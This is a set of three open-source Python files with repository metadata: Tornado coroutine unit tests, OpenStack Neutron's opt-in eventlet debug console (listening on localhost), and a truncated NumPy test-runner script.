gen.Callback("1arg"))(42) self.assertEqual((yield gen.Wait("1arg")), 42) (yield gen.Callback("kwargs"))(value=42) result = yield gen.Wait("kwargs") self.assertTrue(isinstance(result, gen.Arguments)) self.assertEqual(((), dict(value=42)), result) self.assertEqual(dict(value=42), result.kwargs) (yield gen.Callback("2args"))(42, 43) result = yield gen.Wait("2args") self.assertTrue(isinstance(result, gen.Arguments)) self.assertEqual(((42, 43), {}), result) self.assertEqual((42, 43), result.args) def task_func(callback): callback(None, error="foo") result = yield gen.Task(task_func) self.assertTrue(isinstance(result, gen.Arguments)) self.assertEqual(((None,), dict(error="foo")), result) self.stop() self.run_gen(f) def test_stack_context_leak(self): # regression test: repeated invocations of a gen-based # function should not result in accumulated stack_contexts def _stack_depth(): head = stack_context._state.contexts[1] length = 0 while head is not None: length += 1 head = head.old_contexts[1] return length @gen.engine def inner(callback): yield gen.Task(self.io_loop.add_callback) callback() @gen.engine def outer(): for i in range(10): yield gen.Task(inner) stack_increase = _stack_depth() - initial_stack_depth self.assertTrue(stack_increase <= 2) self.stop() initial_stack_depth = _stack_depth() self.run_gen(outer) def test_stack_context_leak_exception(self): # same as previous, but with a function that exits with an exception @gen.engine def inner(callback): yield gen.Task(self.io_loop.add_callback) 1 / 0 @gen.engine def outer(): for i in range(10): try: yield gen.Task(inner) except ZeroDivisionError: pass stack_increase = len(stack_context._state.contexts) - initial_stack_depth self.assertTrue(stack_increase <= 2) self.stop() initial_stack_depth = len(stack_context._state.contexts) self.run_gen(outer) def function_with_stack_context(self, callback): # Technically this function should stack_context.wrap its callback # upon entry. However, it is very common for this step to be # omitted. def step2(): self.assertEqual(self.named_contexts, ['a']) self.io_loop.add_callback(callback) with stack_context.StackContext(self.named_context('a')): self.io_loop.add_callback(step2) @gen_test def test_wait_transfer_stack_context(self): # Wait should not pick up contexts from where callback was invoked, # even if that function improperly fails to wrap its callback. cb = yield gen.Callback('k1') self.function_with_stack_context(cb) self.assertEqual(self.named_contexts, []) yield gen.Wait('k1') self.assertEqual(self.named_contexts, []) @gen_test def test_task_transfer_stack_context(self): yield gen.Task(self.function_with_stack_context) self.assertEqual(self.named_contexts, []) def test_raise_after_stop(self): # This pattern will be used in the following tests so make sure # the exception propagates as expected. @gen.engine def f(): self.stop() 1 / 0 with self.assertRaises(ZeroDivisionError): self.run_gen(f) def test_sync_raise_return(self): # gen.Return is allowed in @gen.engine, but it may not be used # to return a value. @gen.engine def f(): self.stop(42) raise gen.Return() result = self.run_gen(f) self.assertEqual(result, 42) def test_async_raise_return(self): @gen.engine def f(): yield gen.Task(self.io_loop.add_callback) self.stop(42) raise gen.Return() result = self.run_gen(f) self.assertEqual(result, 42) def test_sync_raise_return_value(self): @gen.engine def f(): raise gen.Return(42) with self.assertRaises(gen.ReturnValueIgnoredError): self.run_gen(f) def test_sync_raise_return_value_tuple(self): @gen.engine def f(): raise gen.Return((1, 2)) with self.assertRaises(gen.ReturnValueIgnoredError): self.run_gen(f) def test_async_raise_return_value(self): @gen.engine def f(): yield gen.Task(self.io_loop.add_callback) raise gen.Return(42) with self.assertRaises(gen.ReturnValueIgnoredError): self.run_gen(f) def test_async_raise_return_value_tuple(self): @gen.engine def f(): yield gen.Task(self.io_loop.add_callback) raise gen.Return((1, 2)) with self.assertRaises(gen.ReturnValueIgnoredError): self.run_gen(f) def test_return_value(self): # It is an error to apply @gen.engine to a function that returns # a value. @gen.engine def f(): return 42 with self.assertRaises(gen.ReturnValueIgnoredError): self.run_gen(f) def test_return_value_tuple(self): # It is an error to apply @gen.engine to a function that returns # a value. @gen.engine def f(): return (1, 2) with self.assertRaises(gen.ReturnValueIgnoredError): self.run_gen(f) @skipNotCPython def test_task_refcounting(self): # On CPython, tasks and their arguments should be released immediately # without waiting for garbage collection. @gen.engine def f(): class Foo(object): pass arg = Foo() self.arg_ref = weakref.ref(arg) task = gen.Task(self.io_loop.add_callback, arg=arg) self.task_ref = weakref.ref(task) yield task self.stop() self.run_gen(f) self.assertIs(self.arg_ref(), None) self.assertIs(self.task_ref(), None) class GenCoroutineTest(AsyncTestCase): def setUp(self): # Stray StopIteration exceptions can lead to tests exiting prematurely, # so we need explicit checks here to make sure the tests run all # the way through. self.finished = False super(GenCoroutineTest, self).setUp() def tearDown(self): super(GenCoroutineTest, self).tearDown() assert self.finished @gen_test def test_sync_gen_return(self): @gen.coroutine def f(): raise gen.Return(42) result = yield f() self.assertEqual(result, 42) self.finished = True @gen_test def test_async_gen_return(self): @gen.coroutine def f(): yield gen.Task(self.io_loop.add_callback) raise gen.Return(42) result = yield f() self.assertEqual(result, 42) self.finished = True @gen_test def test_sync_return(self): @gen.coroutine def f(): return 42 result = yield f() self.assertEqual(result, 42) self.finished = True @skipBefore33 @gen_test def test_async_return(self): # It is a compile-time error to return a value in a generator # before Python 3.3, so we must test this with exec. # Flatten the real global and local namespace into our fake globals: # it's all global from the perspective of f(). global_namespace = dict(globals(), **locals()) local_namespace = {} exec(textwrap.dedent(""" @gen.coroutine def f(): yield gen.Task(self.io_loop.add_callback) return 42 """), global_namespace, local_namespace) result = yield local_namespace['f']() self.assertEqual(result, 42) self.finished = True @skipBefore33 @gen_test def test_async_early_return(self): # A yield statement exists but is not executed, which means # this function "returns" via an exception. This exception # doesn't happen before the exception handling is set up. global_namespace = dict(globals(), **locals()) local_namespace = {} exec(textwrap.dedent(""" @gen.coroutine def f(): if True: return 42 yield gen.Task(self.io_loop.add_callback) """), global_namespace, local_namespace) result = yield local_namespace['f']() self.assertEqual(result, 42) self.finished = True @gen_test def test_sync_return_no_value(self): @gen.coroutine def f(): return result = yield f() self.assertEqual(result, None) self.finished = True @gen_test def test_async_return_no_value(self): # Without a return value we don't need python 3.3. @gen.coroutine def f(): yield gen.Task(self.io_loop.add_callback) return result = yield f() self.assertEqual(result, None) self.finished = True @gen_test def test_sync_raise(self): @gen.coroutine def f(): 1 / 0 # The exception is raised when the future is yielded # (or equivalently when its result method is called), # not when the function itself is called). future = f() with self.assertRaises(ZeroDivisionError): yield future self.finished = True @gen_test def test_async_raise(self): @gen.coroutine def f(): yield gen.Task(self.io_loop.add_callback) 1 / 0 future = f() with self.assertRaises(ZeroDivisionError): yield future self.finished = True @gen_test def test_pass_callback(self): @gen.coroutine def f(): raise gen.Return(42) result = yield gen.Task(f) self.assertEqual(result, 42) self.finished = True @gen_test def test_replace_yieldpoint_exception(self): # Test exception handling: a coroutine can catch one exception # raised by a yield point and raise a different one. @gen.coroutine def f1(): 1 / 0 @gen.coroutine def f2(): try: yield f1() except ZeroDivisionError: raise KeyError() future = f2() with self.assertRaises(KeyError): yield future self.finished = True @gen_test def test_swallow_yieldpoint_exception(self): # Test exception handling: a coroutine can catch an exception # raised by a yield point and not raise a different one. @gen.coroutine def f1(): 1 / 0 @gen.coroutine def f2(): try: yield f1() except ZeroDivisionError: raise gen.Return(42) result = yield f2() self.assertEqual(result, 42) self.finished = True @gen_test def test_replace_context_exception(self): # Test exception handling: exceptions thrown into the stack context # can be caught and replaced. # Note that this test and the following are for behavior that is # not really supported any more: coroutines no longer create a # stack context automatically; but one is created after the first # YieldPoint (i.e. not a Future). @gen.coroutine def f2(): (yield gen.Callback(1))() yield gen.Wait(1) self.io_loop.add_callback(lambda: 1 / 0) try: yield gen.Task(self.io_loop.add_timeout, self.io_loop.time() + 10) except ZeroDivisionError: raise KeyError() future = f2() with self.assertRaises(KeyError): yield future self.finished = True @gen_test def test_swallow_context_exception(self): # Test exception handling: exceptions thrown into the stack context # can be caught and ignored. @gen.coroutine def f2(): (yield gen.Callback(1))() yield gen.Wait(1) self.io_loop.add_callback(lambda: 1 / 0) try: yield gen.Task(self.io_loop.add_timeout, self.io_loop.time() + 10) except ZeroDivisionError: raise gen.Return(42) result = yield f2() self.assertEqual(result, 42) self.finished = True @gen_test def test_moment(self): calls = [] @gen.coroutine def f(name, yieldable): for i in range(5): calls.append(name) yield yieldable # First, confirm the behavior without moment: each coroutine # monopolizes the event loop until it finishes. immediate = Future() immediate.set_result(None) yield [f('a', immediate), f('b', immediate)] self.assertEqual(''.join(calls), 'aaaaabbbbb') # With moment, they take turns. calls = [] yield [f('a', gen.moment), f('b', gen.moment)] self.assertEqual(''.join(calls), 'ababababab') self.finished = True calls = [] yield [f('a', gen.moment), f('b', immediate)] self.assertEqual(''.join(calls), 'abbbbbaaaa') @gen_test def test_sleep(self): yield gen.sleep(0.01) self.finished = True class GenSequenceHandler(RequestHandler): @asynchronous @gen.engine def get(self): self.io_loop = self.request.connection.stream.io_loop self.io_loop.add_callback((yield gen.Callback("k1"))) yield gen.Wait("k1") self.write("1") self.io_loop.add_callback((yield gen.Callback("k2"))) yield gen.Wait("k2") self.write("2") # reuse an old key self.io_loop.add_callback((yield gen.Callback("k1"))) yield gen.Wait("k1") self.finish("3") class GenCoroutineSequenceHandler(RequestHandler): @gen.coroutine def get(self): self.io_loop = self.request.connection.stream.io_loop self.io_loop.add_callback((yield gen.Callback("k1"))) yield gen.Wait("k1") self.write("1") self.io_loop.add_callback((yield gen.Callback("k2"))) yield gen.Wait("k2") self.write("2") # reuse an old key self.io_loop.add_callback((yield gen.Callback("k1"))) yield gen.Wait("k1") self.finish("3") class GenCoroutineUnfinishedSequenceHandler(RequestHandler): @asynchronous @gen.coroutine def get(self): self.io_loop = self.request.connection.stream.io_loop self.io_loop.add_callback((yield gen.Callback("k1"))) yield gen.Wait("k1") self.write("1") self.io_loop.add_callback((yield gen.Callback("k2"))) yield gen.Wait("k2") self.write("2") # reuse an old key self.io_loop.add_callback((yield gen.Callback("k1"))) yield gen.Wait("k1") # just write, don't finish self.write("3") class GenTaskHandler(RequestHandler): @asynchronous @gen.engine def get(self): io_loop = self.request.connection.stream.io_loop client = AsyncHTTPClient(io_loop=io_loop) response = yield gen.Task(client.fetch, self.get_argument('url')) response.rethrow() self.finish(b"got response: " + response.body) class GenExceptionHandler(RequestHandler): @asynchronous @gen.engine def get(self): # This test depends on the order of the two decorators. io_loop = self.request.connection.stream.io_loop yield gen.Task(io_loop.add_callback) raise Exception("oops") class GenCoroutineExceptionHandler(RequestHandler): @gen.coroutine def get(self): # This test depends on the order of the two decorators. io_loop = self.request.connection.stream.io_loop yield gen.Task(io_loop.add_callback) raise Exception("oops") class GenYieldExceptionHandler(RequestHandler): @asynchronous @gen.engine def get(self): io_loop = self.request.connection.stream.io_loop # Test the interaction of the two stack_contexts. def fail_task(callback): io_loop.add_callback(lambda: 1 / 0) try: yield gen.Task(fail_task) raise Exception("did not get expected exception") except ZeroDivisionError: self.finish('ok') class UndecoratedCoroutinesHandler(RequestHandler): @gen.coroutine def prepare(self): self.chunks = [] yield gen.Task(IOLoop.current().add_callback) self.chunks.append('1') @gen.coroutine def get(self): self.chunks.append('2') yield gen.Task(IOLoop.current().add_callback) self.chunks.append('3') yield gen.Task(IOLoop.current().add_callback) self.write(''.join(self.chunks)) class AsyncPrepareErrorHandler(RequestHandler): @gen.coroutine def prepare(self): yield gen.Task(IOLoop.current().add_callback) raise HTTPError(403) def get(self): self.finish('ok') class GenWebTest(AsyncHTTPTestCase): def get_app(self): return Application([ ('/sequence', GenSequenceHandler), ('/coroutine_sequence', GenCoroutineSequenceHandler), ('/coroutine_unfinished_sequence', GenCoroutineUnfinishedSequenceHandler), ('/task', GenTaskHandler), ('/exception', GenExceptionHandler), ('/coroutine_exception', GenCoroutineExceptionHandler), ('/yield_exception', GenYieldExceptionHandler), ('/undecorated_coroutine', UndecoratedCoroutinesHandler), ('/async_prepare_error', AsyncPrepareErrorHandler), ]) def test_sequence_handler(self): response = self.fetch('/sequence') self.assertEqual(response.body, b"123") def test_coroutine_sequence_handler(self): response = self.fetch('/coroutine_sequence') self.assertEqual(response.body, b"123") def test_coroutine_unfinished_sequence_handler(self): response = self.fetch('/coroutine_unfinished_sequence') self.assertEqual(response.body, b"123") def test_task_handler(self): response = self.fetch('/task?url=%s' % url_escape(self.get_url('/sequence'))) self.assertEqual(response.body, b"got response: 123") def test_exception_handler(self): # Make sure we get an error and not a timeout with ExpectLog(app_log, "Uncaught exception GET /exception"): response = self.fetch('/exception') self.assertEqual(500, response.code) def test_coroutine_exception_handler(self): # Make sure we get an error and not a timeout with ExpectLog(app_log, "Uncaught exception GET /coroutine_exception"): response = self.fetch('/coroutine_exception') self.assertEqual(500, response.code) def test_yield_exception_handler(self): response = self.fetch('/yield_exception') self.assertEqual(response.body, b'ok') def test_undecorated_coroutines(self): response = self.fetch('/undecorated_coroutine') self.assertEqual(response.body, b'123') def test_async_prepare_error_handler(self): response = self.fetch('/async_prepare_error') self.assertEqual(response.code, 403) class WithTimeoutTest(AsyncTestCase): @gen_test def test_timeout(self): with self.assertRaises(gen.TimeoutError): yield gen.with_timeout(datetime.timedelta(seconds=0.1), Future()) @gen_test def test_completes_before_timeout(self): future = Future() self.io_loop.add_timeout(datetime.timedelta(seconds=0.1), lambda: future.set_result('asdf')) result = yield gen.with_timeout(datetime.timedelta(seconds=3600), future, io_loop=self.io_loop) self.assertEqual(result, 'asdf') @gen_test def test_fails_before_timeout(self): future = Future() self.io_loop.add_timeout( datetime.timedelta(seconds=0.1), lambda: future.set_exception(ZeroDivisionError())) with self.assertRaises(ZeroDivisionError): yield gen.with_timeout(datetime.timedelta(seconds=3600), future, io_loop=self.io_loop) @gen_test def test_already_resolved(self): future = Future() future.set_result('asdf') result = yield gen.with_timeout(datetime.timedelta(seconds=3600), future, io_loop=self.io_loop) self.assertEqual(result, 'asdf') @unittest.skipIf(futures is None, 'futures module not present') @gen_test def test_timeout_concurrent_future(self): with futures.ThreadPoolExecutor(1) as executor: with self.assertRaises(gen.TimeoutError): yield gen.with_timeout(self.io_loop.time(), executor.submit(time.sleep, 0.1)) @unittest.skipIf(futures is None, 'futures module not present') @gen_test def test_completed_concurrent_future(self): with futures.ThreadPoolExecutor(1) as executor: yield gen.with_timeout(datetime.timedelta(seconds=3600), executor.submit(lambda: None)) class WaitIteratorTest(AsyncTestCase): @gen_test def test_empty_iterator(self): g = gen.WaitIterator() self.assertTrue(g.done(), 'empty generator iterated') with self.assertRaises(ValueError): g = gen.WaitIterator(False, bar=False) self.assertEqual(g.current_index, None, "bad nil current index") self.assertEqual(g.current_future, None, "bad nil current future") @gen_test def test_already_done(self): f1 = Future() f2 = Future() f3 = Future() f1.set_result(24) f2.set_result(42) f3.set_result(84) g = gen.WaitIterator(f1, f2, f3) i = 0 while not g.done(): r = yield g.next() # Order is not guaranteed, but the current implementation # preserves ordering of already-done Futures. if i == 0: self.assertEqual(g.current_index, 0) self.assertIs(g.current_future, f1) self.assertEqual(r, 24) elif i == 1: self.assertEqual(g.current_index, 1) self.assertIs(g.current_future, f2) self.assertEqual(r, 42) elif i == 2: self.assertEqual(g.current_index, 2) self.assertIs(g.current_future, f3) self.assertEqual(r, 84) i += 1 self.assertEqual(g.current_index, None, "bad nil current index") self.assertEqual(g.current_future, None, "bad nil current future") dg = gen.WaitIterator(f1=f1, f2=f2) while not dg.done(): dr = yield dg.next() if dg.current_index == "f1": self.assertTrue(dg.current_future==f1 and dr==24, "WaitIterator dict status incorrect") elif dg.current_index == "f2": self.assertTrue(dg.current_future==f2 and dr==42, "WaitIterator dict status incorrect") else: self.fail("got bad WaitIterator index {}".format( dg.current_index)) i += 1 self.assertEqual(dg.current_index, None, "bad nil current index") self.assertEqual(dg.current_future, None, "bad nil current future") def finish_coroutines(self, iteration, futures): if iteration == 3: futures[2].set_result(24) elif iteration == 5: futures[0].set_exception(ZeroDivisionError()) elif iteration == 8: futures[1].set_result(42) futures[3].set_result(84) if iteration < 8: self.io_loop.add_callback(self.finish_coroutines, iteration+1, futures) @gen_test def test_iterator(self): futures = [Future(), Future(), Future(), Future()] self.finish_coroutines(0, futures) g = gen.WaitIterator(*futures) i = 0 while not g.done(): try: r = yield g.next() except ZeroDivisionError: self.assertIs(g.current_future, futures[0], 'exception future invalid') else: if i == 0: self.assertEqual(r, 24, 'iterator value incorrect') self.assertEqual(g.current_index, 2, 'wrong index') elif i == 2: self.assertEqual(r, 42, 'iterator value incorrect') self.assertEqual(g.current_index, 1, 'wrong index') elif i == 3: self.assertEqual(r, 84, 'iterator value incorrect') self.assertEqual(g.current_index, 3, 'wrong index') i += 1 if __name__ == '__main__': unittest.main()
keen99/SickRage
tornado/test/gen_test.py
Python
gpl-3.0
38,133
# Copyright (c) 2012 OpenStack Foundation. # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from __future__ import print_function import copy import errno import gc import logging import os import pprint import socket import sys import traceback import eventlet.backdoor import greenlet from oslo_config import cfg from neutron.openstack.common._i18n import _LI help_for_backdoor_port = ( "Acceptable values are 0, <port>, and <start>:<end>, where 0 results " "in listening on a random tcp port number; <port> results in listening " "on the specified port number (and not enabling backdoor if that port " "is in use); and <start>:<end> results in listening on the smallest " "unused port number within the specified range of port numbers. The " "chosen port is displayed in the service's log file.") eventlet_backdoor_opts = [ cfg.StrOpt('backdoor_port', help="Enable eventlet backdoor. %s" % help_for_backdoor_port) ] CONF = cfg.CONF CONF.register_opts(eventlet_backdoor_opts) LOG = logging.getLogger(__name__) def list_opts(): """Entry point for oslo-config-generator. """ return [(None, copy.deepcopy(eventlet_backdoor_opts))] class EventletBackdoorConfigValueError(Exception): def __init__(self, port_range, help_msg, ex): msg = ('Invalid backdoor_port configuration %(range)s: %(ex)s. ' '%(help)s' % {'range': port_range, 'ex': ex, 'help': help_msg}) super(EventletBackdoorConfigValueError, self).__init__(msg) self.port_range = port_range def _dont_use_this(): print("Don't use this, just disconnect instead") def _find_objects(t): return [o for o in gc.get_objects() if isinstance(o, t)] def _print_greenthreads(): for i, gt in enumerate(_find_objects(greenlet.greenlet)): print(i, gt) traceback.print_stack(gt.gr_frame) print() def _print_nativethreads(): for threadId, stack in sys._current_frames().items(): print(threadId) traceback.print_stack(stack) print() def _parse_port_range(port_range): if ':' not in port_range: start, end = port_range, port_range else: start, end = port_range.split(':', 1) try: start, end = int(start), int(end) if end < start: raise ValueError return start, end except ValueError as ex: raise EventletBackdoorConfigValueError(port_range, ex, help_for_backdoor_port) def _listen(host, start_port, end_port, listen_func): try_port = start_port while True: try: return listen_func((host, try_port)) except socket.error as exc: if (exc.errno != errno.EADDRINUSE or try_port >= end_port): raise try_port += 1 def initialize_if_enabled(): backdoor_locals = { 'exit': _dont_use_this, # So we don't exit the entire process 'quit': _dont_use_this, # So we don't exit the entire process 'fo': _find_objects, 'pgt': _print_greenthreads, 'pnt': _print_nativethreads, } if CONF.backdoor_port is None: return None start_port, end_port = _parse_port_range(str(CONF.backdoor_port)) # NOTE(johannes): The standard sys.displayhook will print the value of # the last expression and set it to __builtin__._, which overwrites # the __builtin__._ that gettext sets. Let's switch to using pprint # since it won't interact poorly with gettext, and it's easier to # read the output too. def displayhook(val): if val is not None: pprint.pprint(val) sys.displayhook = displayhook sock = _listen('localhost', start_port, end_port, eventlet.listen) # In the case of backdoor port being zero, a port number is assigned by # listen(). In any case, pull the port number out here. port = sock.getsockname()[1] LOG.info( _LI('Eventlet backdoor listening on %(port)s for process %(pid)d') % {'port': port, 'pid': os.getpid()} ) eventlet.spawn_n(eventlet.backdoor.backdoor_server, sock, locals=backdoor_locals) return port
rdo-management/neutron
neutron/openstack/common/eventlet_backdoor.py
Python
apache-2.0
4,859
#!/usr/bin/env python """ runtests.py [OPTIONS] [-- ARGS] Run tests, building the project first. Examples:: $ python runtests.py $ python runtests.py -s {SAMPLE_SUBMODULE} $ python runtests.py -t {SAMPLE_TEST} $ python runtests.py --ipython $ python runtests.py --python somescript.py $ python runtests.py --bench Run a debugger: $ gdb --args python runtests.py [...other args...] Generate C code coverage listing under build/lcov/: (requires http://ltp.sourceforge.net/coverage/lcov.php) $ python runtests.py --gcov [...other args...] $ python runtests.py --lcov-html """ # # This is a generic test runner script for projects using Numpy's test # framework. Change the following values to adapt to your project: # PROJECT_MODULE = "numpy" PROJECT_ROOT_FILES = ['numpy', 'LICENSE.txt', 'setup.py'] SAMPLE_TEST = "numpy/linalg/tests/test_linalg.py:test_byteorder_check" SAMPLE_SUBMODULE = "linalg" EXTRA_PATH = ['/usr/lib/ccache', '/usr/lib/f90cache', '/usr/local/lib/ccache', '/usr/local/lib/f90cache'] # --------------------------------------------------------------------- if __doc__ is None: __doc__ = "Run without -OO if you want usage info" else: __doc__ = __doc__.format(**globals()) import sys import os # In case we are run from the source directory, we don't want to import the # project from there: sys.path.pop(0) import shutil import subprocess import time import imp from argparse import ArgumentParser, REMAINDER ROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__))) def main(argv): parser = ArgumentParser(usage=__doc__.lstrip()) parser.add_argument("--verbose", "-v", action="count", default=1, help="more verbosity") parser.add_argument("--no-build", "-n", action="store_true", default=False, help="do not build the project (use system installed version)") parser.add_argument("--build-only", "-b", action="store_true", default=False, help="just build, do not run any tests") parser.add_argument("--doctests", action="store_true", default=False, help="Run doctests in module") parser.add_argument("--coverage", action="store_true", default=False, help=("report coverage of project code. HTML output goes " "under build/coverage")) parser.add_argument("--gcov", action="store_true", default=False, help=("enable C code coverage via gcov (requires GCC). " "gcov output goes to build/**/*.gc*")) parser.add_argument("--lcov-html", action="store_true", default=False, help=("produce HTML for C code coverage information " "from a previous run with --gcov. " "HTML output goes to build/lcov/")) parser.add_argument("--mode", "-m", default="fast", help="'fast', 'full', or something that could be " "passed to nosetests -A [default: fast]") parser.add_argument("--submodule", "-s", default=None, help="Submodule whose tests to run (cluster, constants, ...)") parser.add_argument("--pythonpath", "-p", default=None, help="Paths to prepend to PYTHONPATH") parser.add_argument("--tests", "-t", action='append', help="Specify tests to run") parser.add_argument("--python", action="store_true", help="Start a Python shell with PYTHONPATH set") parser.add_argument("--ipython", "-i", action="store_true", help="Start IPython shell with PYTHONPATH set") parser.add_argument("--shell", action="store_true", help="Start Unix shell with PYTHONPATH set") parser.add_argument("--debug", "-g", action="store_true", help="Debug build") parser.add_argument("--parallel", "-j", type=int, default=0, help="Number of parallel jobs during build") parser.add_argument("--show-build-log", action="store_true", help="Show build output rather than using a log file") parser.add_argument("--bench", action="store_true", help="Run benchmark suite instead of test suite") parser.add_argument("--bench-compare", action="store", metavar="COMMIT", help=("Compare benchmark results to COMMIT. " "Note that you need to commit your changes first!")) parser.add_argument("args", metavar="ARGS", default=[], nargs=REMAINDER, help="Arguments to pass to Nose, Python or shell") args = parser.parse_args(argv) if args.bench_compare: args.bench = True args.no_build = True # ASV does the building if args.lcov_html: # generate C code coverage output lcov_generate() sys.exit(0) if args.pythonpath: for p in reversed(args.pythonpath.split(os.pathsep)): sys.path.insert(0, p) if args.gcov: gcov_reset_counters() if args.debug and args.bench: print("*** Benchmarks should not be run against debug " "version; remove -g flag ***") if not args.no_build: site_dir = build_project(args) sys.path.insert(0, site_dir) os.environ['PYTHONPATH'] = site_dir extra_argv = args.args[:] if extra_argv and extra_argv[0] == '--': extra_argv = extra_argv[1:] if args.python: # Debugging issues with warnings is much easier if you can see them print("Enabling display of all warnings") import warnings; warnings.filterwarnings("always") if extra_argv: # Don't use subprocess, since we don't want to include the # current path in PYTHONPATH. sys.argv = extra_argv with open(extra_argv[0], 'r') as f: script = f.read() sys.modules['__main__'] = imp.new_module('__main__') ns = dict(__name__='__main__', __file__=extra_argv[0]) exec_(script, ns) sys.exit(0) else: import code code.interact() sys.exit(0) if args.ipython: # Debugging issues with warnings is much easier if you can see them print("Enabling display of all warnings and pre-importing numpy as np") import warnings; warnings.filterwarnings("always") import IPython import numpy as np IPython.embed(user_ns={"np": np}) sys.exit(0) if args.shell: shell = os.environ.get('SHELL', 'sh') print("Spawning a Unix shell...") os.execv(shell, [shell] + extra_argv) sys.exit(1) if args.coverage: dst_dir = os.path.join(ROOT_DIR, 'build', 'coverage') fn = os.path.join(dst_dir, 'coverage_html.js') if os.path.isdir(dst_dir) and os.path.isfile(fn): shutil.rmtree(dst_dir) extra_argv += ['--cover-html', '--cover-html-dir='+dst_dir] if args.bench: # Run ASV items = extra_argv if args.tests: items += args.tests if args.submodule: items += [args.submodule] bench_args = [] for a in items: bench_args.extend(['--bench', a]) if not args.bench_compare: cmd = ['asv', 'run', '-n', '-e', '--python=same'] + bench_args os.chdir(os.path.join(ROOT_DIR, 'benchmarks')) os.execvp(cmd[0], cmd) sys.exit(1) else: commits = [x.strip() for x in args.bench_compare.split(',')] if len(commits) == 1: commit_a = commits[0] commit_b = 'HEAD' elif len(commits) == 2: commit_a, commit_b = commits else: p.error("Too many commits to compare benchmarks for") # Check for uncommitted files if commit_b == 'HEAD': r1 = subprocess.call(['git', 'diff-index', '--quiet', '--cached', 'HEAD']) r2 = subprocess.call(['git', 'diff-files', '--quiet']) if r1 != 0 or r2 != 0: print("*"*80) print("WARNING: you have uncommitted changes --- " "these will NOT be benchmarked!") print("*"*80) # Fix commit ids (HEAD is local to current repo) p = subprocess.Popen(['git', 'rev-parse', commit_b], stdout=subprocess.PIPE) out, err = p.communicate() commit_b = out.strip() p = subprocess.Popen(['git', 'rev-parse', commit_a], stdout=subprocess.PIPE) out, err = p.communicate() commit_a = out.strip() cmd = ['asv', 'continuous', '-e', '-f', '1.05', commit_a, commit_b] + bench_args os.chdir(os.path.join(ROOT_DIR, 'benchmarks')) os.execvp(cmd[0], cmd) sys.exit(1) test_dir = os.path.join(ROOT_DIR, 'build', 'test') if args.build_only: sys.exit(0) elif args.submodule: modname = PROJECT_MODULE + '.' + args.submodule try: __import__(modname) test = sys.modules[modname].test except (ImportError, KeyError, AttributeError): print("Cannot run tests for %s" % modname) sys.exit(2) elif args.tests: def fix_test_path(x): # fix up test path p = x.split(':') p[0] = os.path.relpath(os.path.abspath(p[0]), test_dir) return ':'.join(p) tests = [fix_test_path(x) for x in args.tests] def test(*a, **kw): extra_argv = kw.pop('extra_argv', ()) extra_argv = extra_argv + tests[1:] kw['extra_argv'] = extra_argv from numpy.testing import Tester return Tester(tests[0]).test(*a, **kw) else: __import__(PROJECT_MODULE) test = sys.modules[PROJECT_MODULE].test # Run the tests under build/test try: shutil.rmtree(test_dir) except OSError: pass try: os.makedirs(test_dir) except OSError: pass cwd = os.getcwd() try: os.chdir(test_dir) result = test(args.mode, verbose=args.verbose, extra_argv=extra_argv, doctests=args.doctests, coverage=args.coverage) finally: os.chdir(cwd) if result.wasSuccessful(): sys.exit(0) else: sys.exit(1) def build_project(args): """ Build a dev version of the project. Returns ------- site_dir site-packages directory where it was installed """ root_ok = [os.path.exists(os.path.join(ROOT_DIR, fn)) for fn in PROJECT_ROOT_FILES] if not all(root_ok): print("To build the project, run runtests.py in " "git checkout or unpacked source") sys.exit(1) dst_dir = os.path.join(ROOT_DIR, 'build', 'testenv') env = dict(os.environ) cmd = [sys.executable, 'setup.py'] # Always use ccache, if installed env['PATH'] = os.pathsep.join(EXTRA_PATH + env.get('PATH', '').split(os.pathsep)) if args.debug or args.gcov: # assume everyone uses gcc/gfortran env['OPT'] = '-O0 -ggdb' env['FOPT'] = '-O0 -ggdb' if args.gcov: import distutils.sysconfig cvars = distutils.sysconfig.get_config_vars() env['OPT'] = '-O0 -ggdb' env['FOPT'] = '-O0 -ggdb' env['CC'] = cvars['CC'] + ' --coverage' env['CXX'] = cvars['CXX'] + ' --coverage' env['F77'] = 'gfortran --coverage ' env['F90'] = 'gfortran --coverage ' env['LDSHARED'] = cvars['LDSHARED'] + ' --coverage' env['LDFLAGS'] = " ".join(cvars['LDSHARED'].split()[1:]) + ' --coverage' cmd += ["build"] if args.parallel > 1: cmd += ["-j", str(args.parallel)] cmd += ['install', '--prefix=' + dst_dir] log_filename = os.path.join(ROOT_DIR, 'build.log') if args.show_build_log: ret = subprocess.call(cmd, env=env, cwd=ROOT_DIR) else: log_filename = os.path.join(ROOT_DIR, 'build.log') print("Building, see build.log...") with open(log_filename, 'w') as log: p = subprocess.Popen(cmd, env=env, stdout=log, stderr=log, cwd=ROOT_DIR) # Wait for it to finish, and print something to indicate the # process is alive, but only if the log file has grown (to # allow continuous integration environments kill a hanging # process accurately if it produces no output) last_blip = time.time() last_log_size = os.stat(log_filename).st_size while p.poll() is None: time.sleep(0.5) if time.time() - last_blip > 60: log_size = os.stat(log_filename).st_size if log_size > last_log_size: print(" ... build in progress") last_blip = time.time() last_log_size = log_size ret = p.wait() if ret == 0: print("Build OK") else: if not args.show_build_log: with open(log_filename, 'r') as f: print(f.read()) print("Build failed!") sys.exit(1) from distutils.sysconfig import get_python_lib site_dir = get_python_lib(prefix=dst_dir, plat_specific=True) return site_dir # # GCOV support # def gcov_reset_counters(): print("Removing previous GCOV .gcda files...") build_dir = os.path.join(ROOT_DIR, 'build') for dirpath, dirnames, filenames in os.walk(build_dir): for fn in filenames: if fn.endswith('.gcda') or fn.endswith('.da'): pth = os.path.join(dirpath, fn) os.unlink(pth) # # LCOV support # LCOV_OUTPUT_FILE = os.path.join(ROOT_DIR, 'build', 'lcov.out') LCOV_HTML_DIR = os.path.join(ROOT_DIR, 'build', 'lcov') def lcov_generate(): try: os.unlink(LCOV_OUTPUT_FILE) except OSError: pass try: shutil.rmtree(LCOV_HTML_DIR) except OSError: pass print("Capturing lcov info...") subprocess.call(['lcov', '-q', '-c', '-d', os.path.join(ROOT_DIR, 'build'), '-b', ROOT_DIR, '--output-file', LCOV_OUTPUT_FILE]) print("Generating lcov HTML output...") ret = subprocess.call(['genhtml', '-q', 